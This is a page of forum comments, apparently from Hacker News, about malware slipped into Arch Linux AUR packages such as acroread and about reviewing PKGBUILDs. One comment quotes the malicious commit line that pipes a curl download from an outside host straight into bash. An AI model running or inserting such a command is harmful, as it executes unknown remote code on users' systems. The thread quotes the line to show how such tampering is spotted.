91–100 of 137 posts
Earlier quoted context omitted.
It should just show the PKGBUILD every time. If it's not doing anything sketchy it's often only a dozen lines.
aurman does a good job. It caches the old PKGBUILD and lets you view diffs. Still, reviewing a PKGBUILD is a non-trivial process.
Earlier quoted context omitted.
Packages are vetted, in the repos, just not in AUR. They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts. Also this malware was found in AUR within a few hours of it going up.
How are official Arch packages vetted?
Also been a push towards reproducible builds, and the stones have been laid with pacman 5.1.
The article mentions 3 infected packages. But it only lists one: acroread. Then the comment section mentions the other one is libvlc. But the mailing list says this is something different: https://lists.archlinux.org/pipermail/aur-general/2018-July/... So then there's still two missing. Here's what I've found that he maintained: 1) balz ( https://archive.fo/TjIQI ) 2) minergate ( https://archive.fo/TjIQI ) 3) acrorea…
Earlier quoted context omitted.
Packages are vetted, in the repos, just not in AUR. They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts. Also this malware was found in AUR within a few hours of it going up.
How are official Arch packages vetted?
Having met these criterias, they need to be sponsored by an existing TU, and then it will be put up to a vote.
For the people interested, here's the actual commit from the acroread package: https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...
> + curl -s https://ptpb.pw/~x|bash -& So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users. Not much to see here, fortunately.
I don't know a single Arch Linux user who doesn't check the PKGBUILD of the packages they get from AUR.
Unfortunately lots of things one actually wants are on AUR, things like jpeginfo, golly, steam-fonts, simple-mtpfs, jslint, ... A case for putting more things in the main Archlinux repositories!
My understanding is some things (e.g. Google Chrome, Google and Microsoft fonts) can't be put in the main Arch Linux repos for copyright reasons.
The Arch User Repository hosts whatever people want to upload to it, with basically no proactive vetting whatsoever. In addition, the installation scripts run arbitrary code, a portion of which must run with root privileges. When a package gets orphaned, that means that anybody in the community can take over maintainership of the package. There's a whole lot of trust that has to go on when installing a package from t…
> yes, this is a fundamental problem with the security model of Arch Linux No, it's not. AUR is not Arch, and is not "supported" by Arch. It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran git clone git://github.com/user/repo . && ./configure && make && sudo make install you wouldn't be saying that…
Contrast this to the old debian-multimedia, which had no links from Debian.org and which eventually yielded to pressure to change its name to make clear that it was not part of Debian.
Earlier quoted context omitted.
>simple-mtpfs Not maintained (last commit in 2016). So that will be something low on the priority list. >btrfs The dedupe tool looks interesting. Noted on my todo. >closure-compiler Was dropped from the repository. Probably because of the lack of an maintainer.
> Not maintained (last commit in 2016). So that will be something low on the priority list. I see! Time for me to start looking for a new method of transfering files from android then, thanks for the heads up
This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.
What would you recommend over yaourt?